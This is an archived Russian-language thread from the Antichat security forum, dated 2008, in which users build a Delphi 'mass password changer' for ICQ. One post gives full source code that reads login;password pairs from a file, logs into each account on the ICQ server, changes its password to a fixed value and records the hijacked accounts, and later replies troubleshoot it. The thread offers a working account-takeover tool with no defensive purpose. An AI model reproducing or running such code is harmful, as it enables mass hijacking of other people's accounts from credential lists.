ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

07.07.2008, 22:31
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
ну это 2 текстовых файла один с логинами другой с паролями... несерёзно.
|
|
|

08.07.2008, 01:29
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Млин ни так ни эдак не получается, есть какие нить простые варианты?
Может procedure TForm1.ICQClient1Login обработать надо в цикле?
|
|
|

08.07.2008, 02:25
|
|
Banned
Регистрация: 15.12.2005
Сообщений: 95
Провел на форуме: 1509352
Репутация:
132
|
|
Че-то парни вы мудрите
вотъ набросал побыстрому как я вижу работу массового пассченжера:
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ICQClient, ICQWorks, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
ICQClient1: TICQClient;
procedure Button1Click(Sender: TObject);
procedure Change;
procedure ICQClient1Login(Sender: TObject);
procedure ICQClient1Error(Sender: TObject; ErrorType: TErrorType;
ErrorMsg: String);
procedure ICQClient1InfoChanged(Sender: TObject; InfoType: TInfoType;
ChangedOk: Boolean);
procedure ICQClient1LogOff(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
source:TStringList;
tmp,uin,pass:string;
implementation
{$R *.dfm}
procedure TForm1.Change;
begin
if source.Count>0 then
begin
tmp:=source.Strings[0];
uin:=copy(tmp,1,pos(';',tmp)-1);
pass:=copy(tmp,pos(';',tmp)+1,length(tmp));
Memo1.Lines.Add(uin+' '+pass);
ICQClient1.Password:=pass;
ICQClient1.UIN:=StrToInt(uin);
ICQClient1.ScreenName:=uin;
ICQClient1.Login;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
source:=TStringList.Create;
source.LoadFromFile('source.txt');
ICQClient1.ConvertToPlaintext:=True;
ICQClient1.ICQServer:='login.icq.com';
ICQClient1.ICQPort:=5190;
Change;
end;
procedure TForm1.ICQClient1Login(Sender: TObject);
begin
Memo1.Lines.Add('con');
ICQClient1.ChangePassword('newpass');
end;
procedure TForm1.ICQClient1Error(Sender: TObject; ErrorType: TErrorType;
ErrorMsg: String);
begin
Memo1.Lines.Add(tmp+' Err: '+ErrorMsg);
ICQClient1.LogOff;
end;
procedure TForm1.ICQClient1InfoChanged(Sender: TObject;
InfoType: TInfoType; ChangedOk: Boolean);
var fil;
begin
assignfile(fil,'changed.txt');
if fileexists('changed.txt') then appendfile(fil)
else rewrite(fil);
writeln(fil,uin+';'+'newpass');
closefile(fil);
source.Delete(0);
Memo1.Lines.Add(tmp+' Changed');
ICQClient1.LogOff;
end;
procedure TForm1.ICQClient1LogOff(Sender: TObject);
begin
Memo1.Lines.Add('dis');
Change;
end;
end.
Последний раз редактировалось qPhoenix; 08.07.2008 в 02:41..
|
|
|

08.07.2008, 03:13
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
qPhoenix спс.
ICQClient1.ScreenName:=uin; - ругается, типа ScreenName несуществующяя команда.
пришлось удалить.
var fil; - ???
Я поставил текстфайл. протестировал... в MEMO вывелся тока первый номер с паролем и всё... нигде пасс не сменился ;(
|
|
|

08.07.2008, 03:33
|
|
Banned
Регистрация: 15.12.2005
Сообщений: 95
Провел на форуме: 1509352
Репутация:
132
|
|
ScreenName убирай ) видать разные у нас TICQ
ты эвенты onInfoChanged и OnLogoff привязал к компоненту?
на всяк случай - юзал этот TICQ, старый напрочь отказывался работать - кричал "Версия клиента устарела"
|
|
|

08.07.2008, 19:48
|
|
Новичок
Регистрация: 17.04.2008
Сообщений: 3
Провел на форуме: 10831
Репутация:
0
|
|
Ребята, дайте пожалуйста ссылку, откудаможно скачать Delphi послебнюю версию. Заранее благодарен!!!
|
|
|

08.07.2008, 20:57
|
|
Новичок
Регистрация: 02.07.2008
Сообщений: 3
Провел на форуме: 6273
Репутация:
0
|
|
А нафига последняя? Качай 7-мую и будь доволен... По моему эта самая распространенная
|
|
|

09.07.2008, 01:00
|
|
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
Юзай потоки, и забудь ты про компоненты, памяти сожрешь немеряно!
|
|
|

11.07.2008, 00:15
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Dober'man плз!!! если не затруднит напиши код как это реализовать, какой нить самый простой способ.
|
|
|

11.07.2008, 03:03
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
masslogin.text masspass.text - это вообще то edit`ы
У меня такой принцип, открываем файл, и кидаем в цикле в едиты соответствено логин и пароль разделяя их ; это сделанно для того чтобы я мог непосредственно удобно иметь к ним доступ из едитов....
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|